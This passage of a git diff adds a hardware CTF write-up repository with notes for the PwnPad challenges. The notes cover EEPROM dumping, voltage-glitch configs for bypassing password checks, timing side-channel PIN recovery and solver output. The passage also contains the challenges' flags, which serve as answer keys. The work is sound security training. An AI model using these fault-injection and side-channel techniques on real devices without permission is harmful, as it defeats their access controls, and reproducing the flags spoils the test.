+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/docs/09_GoB.png b/docs/09_GoB.png
new file mode 100644
index 0000000..c772a3a
--- /dev/null
+++ b/docs/09_GoB.png
Binary files differ
diff --git a/docs/09_GoB_config.py b/docs/09_GoB_config.py
new file mode 100644
index 0000000..94c453d
--- /dev/null
+++ b/docs/09_GoB_config.py
@@ -0,0 +1,155 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
